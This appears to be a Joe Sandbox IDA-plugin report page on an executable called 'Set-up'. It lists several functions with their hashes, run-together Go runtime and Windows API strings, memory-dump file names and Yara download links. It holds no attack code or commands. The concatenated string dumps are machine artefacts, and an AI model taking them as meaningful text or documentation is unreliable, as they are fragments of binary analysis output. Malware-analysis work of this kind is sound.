Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: $, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMultaniM$, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregisterServerEgypt Standard TimeGC work not f$can't scan our own stackconnection reset by peerdouble traceGCSweepStartflate: maxBits too largefloating point exceptionfunction not implementedgcDrainN phase incorrecthash of unhashable type initSpan: unaligned baseinvalid argument to Intnlevel 2 not synchron$mark - bad statusmarkBits overflownil resource bodyno data availablenotetsleepg on g0permission denied : New(nil) : call of runtime/internal/runtime: level = runtime: nameOff runtime: pointer runti$runtime: gp=runtime: sp=self-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringswintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host nam$runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussend on closed channelspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected method stepwirep: invalid p statex509: malformed is$scanstack: goroutine not stoppedslice bounds out of range [%x::]slice bounds out of range [:%x:]slice bounds out of range [::%x]software caused connection abortsweep increased allocation counttransform: short internal bufferuse of closed network connectionx509
API String ID: 0-3675785163
Opcode ID: d1e0ed0982e988a3aae717ba80cc50ba082ceaa7fcee266082a24966c8e29c84
Instruction ID: 3d45691bcf15da105a8c9aafd412369db19ffea036641a8e6a3a9b06930dcb93
Opcode Fuzzy Hash: d1e0ed0982e988a3aae717ba80cc50ba082ceaa7fcee266082a24966c8e29c84
Instruction Fuzzy Hash: E722B0B45097448FC764EF28D184A9ABBE1FF88305F44892DE8898B351E774D988DF63

Function 00D800F0 Relevance: 10.2, Strings: 8, Instructions: 206COMMON

Download Yara Rule

Strings

6, xrefs: 00D80324
nmidlelocked= on zero Value out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitia, xrefs: 00D80371
mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEven, xrefs: 00D8039C
checkdead: inconsistent counts : invalid public key : verification errorfailed to get system page sizefreedefer with d._panic != nilinappropriate ioctl for deviceinvalid PE file signature: % xinvalid network interface nameinvalid pointer foun, xrefs: 00D803FC
checkdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid object identifiermissing stack in newstackmissing traceGCSweepStartnet/url: invalid userinfono buffer space availableno such de, xrefs: 00D802F6
no goroutines (main called runtime.Goexit) - deadlock!runtime: signal received on thread not created by Go.x509: cannot verify signature: algorithm unimplementedx509: invalid RDNSequence: invalid attribute value: %s is currently not supported for use in syste, xrefs: 00D8031B
nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaM, xrefs: 00D803C7
all goroutines are asleep - deadlock!cannot exec a shared library directlycipher: message authentication failed : incorrect GCM tag size : invalid buffer overlap : public exponent too large : public exponent too small , xrefs: 00D80295

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEven$ nmidlelocked= on zero Value out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitia$ nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaM$6$all goroutines are asleep - deadlock!cannot exec a shared library directlycipher: message authentication failed : incorrect GCM tag size : invalid buffer overlap : public exponent too large : public exponent too small $checkdead: inconsistent counts : invalid public key : verification errorfailed to get system page sizefreedefer with d._panic != nilinappropriate ioctl for deviceinvalid PE file signature: % xinvalid network interface nameinvalid pointer foun$checkdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid object identifiermissing stack in newstackmissing traceGCSweepStartnet/url: invalid userinfono buffer space availableno such de$no goroutines (main called runtime.Goexit) - deadlock!runtime: signal received on thread not created by Go.x509: cannot verify signature: algorithm unimplementedx509: invalid RDNSequence: invalid attribute value: %s is currently not supported for use in syste
API String ID: 0-939784458
Opcode ID: 5aa0c34c088309a0128401e86057063e49f850af6460a2e45187de6ccbc3f504
Instruction ID: acb860a78fa5ad747478d7239e60cd38264dff2abddf754202f9e69569b9b3c9
Opcode Fuzzy Hash: 5aa0c34c088309a0128401e86057063e49f850af6460a2e45187de6ccbc3f504
Instruction Fuzzy Hash: 2D8166B46087058FC754EF24D08576ABBE1FB88700F44892DE8C8C7346EB79A948DF62

Function 00D5BF50 Relevance: 8.9, Strings: 7, Instructions: 190COMMON

Download Yara Rule

Strings

+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D5C151
runtime: marking free object runtime: p.gcMarkWorkerMode= runtime: split stack overflowruntime: sudog with non-nil cruntime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning booleantimeBegin/EndPeriod not foun, xrefs: 00D5C0FD
greyobject: obj not pointer-alignedmheap.freeSpanLocked - invalid freemismatched begin/end of activeSweepnetwork dropped connection on resetno such multicast network interfacenot a PE file, smaller than tiny PEpersistentalloc: align is too largepidleput: P has, xrefs: 00D5C20F
found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitec, xrefs: 00D5C127
basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chandeadermsfileftpsfunchourhttpicmpidleigmpint8itabkindopenpathpipepop3profquitreadrecvrootsbrkseeksendsmtpsse3tag:tcp4trueudp4uint -%s ... BOM) MB, and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845, xrefs: 00D5C196
marking free objectmarkroot: bad indexmissing ']' in hostmissing deferreturnmspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no, xrefs: 00D5C1F9
#, xrefs: 00D5C218

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitec$#$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chandeadermsfileftpsfunchourhttpicmpidleigmpint8itabkindopenpathpipepop3profquitreadrecvrootsbrkseeksendsmtpsse3tag:tcp4trueudp4uint -%s ... BOM) MB, and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845$greyobject: obj not pointer-alignedmheap.freeSpanLocked - invalid freemismatched begin/end of activeSweepnetwork dropped connection on resetno such multicast network interfacenot a PE file, smaller than tiny PEpersistentalloc: align is too largepidleput: P has$marking free objectmarkroot: bad indexmissing ']' in hostmissing deferreturnmspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no$runtime: marking free object runtime: p.gcMarkWorkerMode= runtime: split stack overflowruntime: sudog with non-nil cruntime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning booleantimeBegin/EndPeriod not foun
API String ID: 0-3153111096
Opcode ID: 4600ca3c88ebdefdc4c3ba7cd9c30860efa084729b45eb745f3b8eb56b8eb9c0
Instruction ID: a7765861e93f64cc739e6f71a7ed2bdb2f44eb3cad872bd9785c1162ad4d6d9e
Opcode Fuzzy Hash: 4600ca3c88ebdefdc4c3ba7cd9c30860efa084729b45eb745f3b8eb56b8eb9c0
Instruction Fuzzy Hash: 648127746083448FD700EF28D18176ABBE1EF88714F48896DEC988B346E775D949DF62

Function 00D955C0 Relevance: 8.9, Strings: 7, Instructions: 174COMMON

Download Yara Rule

Strings

[(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:, xrefs: 00D9571F
goroutine impossibleinvalidptrmSpanInUsenotifyListowner diedruntime: gs.state = schedtracesemacquiresetsockoptstackLarget.Kind == terminatedticks.lock (time.Localtracefree(tracegc()unixpacketunknown pcuser32.dllws2_32.dll of size (targetpc= , plugi, xrefs: 00D956F5
, locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDispTypeInfoCreateFileMappingWCreateWellKnownSidCryptUnp, xrefs: 00D957FA
(scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidG, xrefs: 00D9575E
minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExte, xrefs: 00D957CC
???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNSTNULNaNNkoNovOctPC=PDTPGIPGOPGUPKTPSTR10R11R12R13R14R15RAXRBPRBXRCXRDIRDXRSARSIRSPSETSatSepStdSunTLSTSSThuTueURIUTCUs, xrefs: 00D95610
unknown wait reasonwinmm.dll not foundx509: malformed OIDx509: trailing datax509: unknown errorzero length segment markroot jobs done to unallocated span37252902984619140625Arabic Standard TimeAssemblyRefProcessorAzores Standard TimeCertFindChainInStoreCertOp, xrefs: 00D95638

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: (scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidG$ [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:$ minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExte$, locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDispTypeInfoCreateFileMappingWCreateWellKnownSidCryptUnp$???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNSTNULNaNNkoNovOctPC=PDTPGIPGOPGUPKTPSTR10R11R12R13R14R15RAXRBPRBXRCXRDIRDXRSARSIRSPSETSatSepStdSunTLSTSSThuTueURIUTCUs$goroutine impossibleinvalidptrmSpanInUsenotifyListowner diedruntime: gs.state = schedtracesemacquiresetsockoptstackLarget.Kind == terminatedticks.lock (time.Localtracefree(tracegc()unixpacketunknown pcuser32.dllws2_32.dll of size (targetpc= , plugi$unknown wait reasonwinmm.dll not foundx509: malformed OIDx509: trailing datax509: unknown errorzero length segment markroot jobs done to unallocated span37252902984619140625Arabic Standard TimeAssemblyRefProcessorAzores Standard TimeCertFindChainInStoreCertOp
API String ID: 0-478029356
Opcode ID: c430f2bf697c8b78521d87ba1290b11ef7eb6c1dde334a9fe2f2db00d50298f7
Instruction ID: b884ce2667ecbd8e182ce9c522f25f1ee70bcc1db9c63227fbcfa57462464744
Opcode Fuzzy Hash: c430f2bf697c8b78521d87ba1290b11ef7eb6c1dde334a9fe2f2db00d50298f7
Instruction Fuzzy Hash: 78715A745097158FC701EF64E081A1EBBE1FB88740F84892DE8888B35AE770E945DBB3

Function 00D50E30 Relevance: 8.9, Strings: 7, Instructions: 144COMMON

Download Yara Rule

Strings

of size (targetpc= , plugin: KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout3051757, xrefs: 00D50FEE
runtime: typeBitsBulkBarrier without typestopTheWorld: not stopped (stopwait != 0)strconv: illegal AppendInt/FormatInt baseunexpected call to os.Exit(0) during testx509: cannot parse URI %q: invalid domain1734723475976807094411924481391906738281258673617379884, xrefs: 00D51062
runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime: unblock on closing polldescruntime: wrong goroutine in newstackryuFtoaFixed64 called with prec > 18strings., xrefs: 00D50F87, 00D5104C
runtime: typeBitsBulkBarrier with type ryuFtoaFixed32 called with negative prectoo many invalid names, aborting parsingx509: cannot parse IP address of length x509: malformed extension critical field34694469519536141888238489627838134765625MapIter.Next called, xrefs: 00D50F42, 00D50FC4
but memory size because dotdotdot in async preempt to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandL, xrefs: 00D51018
), xrefs: 00D5106B
with GC prog is unavailable,M3.2.0,M11.1.00601021504Z0700476837158203125: cannot parse <invalid Value>ASCII_Hex_DigitAddDllDirectoryAlign 128-BytesAlign 265-BytesAlign 512-BytesCLSIDFromStringCreateErrorInfoCreateHardLinkWCustomAttributeDeviceIoControlDllCa, xrefs: 00D50F6C

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: but memory size because dotdotdot in async preempt to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandL$ of size (targetpc= , plugin: KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout3051757$ with GC prog is unavailable,M3.2.0,M11.1.00601021504Z0700476837158203125: cannot parse <invalid Value>ASCII_Hex_DigitAddDllDirectoryAlign 128-BytesAlign 265-BytesAlign 512-BytesCLSIDFromStringCreateErrorInfoCreateHardLinkWCustomAttributeDeviceIoControlDllCa$)$runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime: unblock on closing polldescruntime: wrong goroutine in newstackryuFtoaFixed64 called with prec > 18strings.$runtime: typeBitsBulkBarrier with type ryuFtoaFixed32 called with negative prectoo many invalid names, aborting parsingx509: cannot parse IP address of length x509: malformed extension critical field34694469519536141888238489627838134765625MapIter.Next called$runtime: typeBitsBulkBarrier without typestopTheWorld: not stopped (stopwait != 0)strconv: illegal AppendInt/FormatInt baseunexpected call to os.Exit(0) during testx509: cannot parse URI %q: invalid domain1734723475976807094411924481391906738281258673617379884
API String ID: 0-1146393311
Opcode ID: c9faff073bbbef97ab2b652a1e92b8fb3de603d556f45272df77cd2fc134426a
Instruction ID: a191c3e07d7e4f3da0f9b1aee366ace3e706680ea41eb4a348f386b719938dd9
Opcode Fuzzy Hash: c9faff073bbbef97ab2b652a1e92b8fb3de603d556f45272df77cd2fc134426a
Instruction Fuzzy Hash: BD51E0B89097448FD740EF24D18561ABBE0FF88704F95882DF8C88B352E7B4D949DB62

Function 00D4A890 Relevance: 8.9, Strings: 7, Instructions: 123COMMON

Download Yara Rule

Strings

freeIndex is not validgetenv before env initheadTailIndex overflowinteger divide by zerointerface conversion: internal inconsistencyinvalid number base %dkernel32.dll not foundminpc or maxpc invalidmissing ']' in addressnetwork is unreachablenon-Go function at, xrefs: 00D4A9FD
1, xrefs: 00D4AA88
s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayIm, xrefs: 00D4A9B3, 00D4AA4B
s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod, xrefs: 00D4A985
s.allocCount != s.nelems && freeIndex == s.nelemsslice bounds out of range [::%x] with capacity %ystrings.Reader.UnreadByte: at beginning of stringstrings.Reader.WriteTo: invalid WriteString countsweeper left outstanding across sweep generationsx509: Ed25519 k, xrefs: 00D4AA7F
runtime: s.allocCount= s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncated tag or lengthwork.nw, xrefs: 00D4AA1D
s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncated tag or lengthwork.nwait > work.nprocx509: i, xrefs: 00D4A9E7

Memory Dump Source

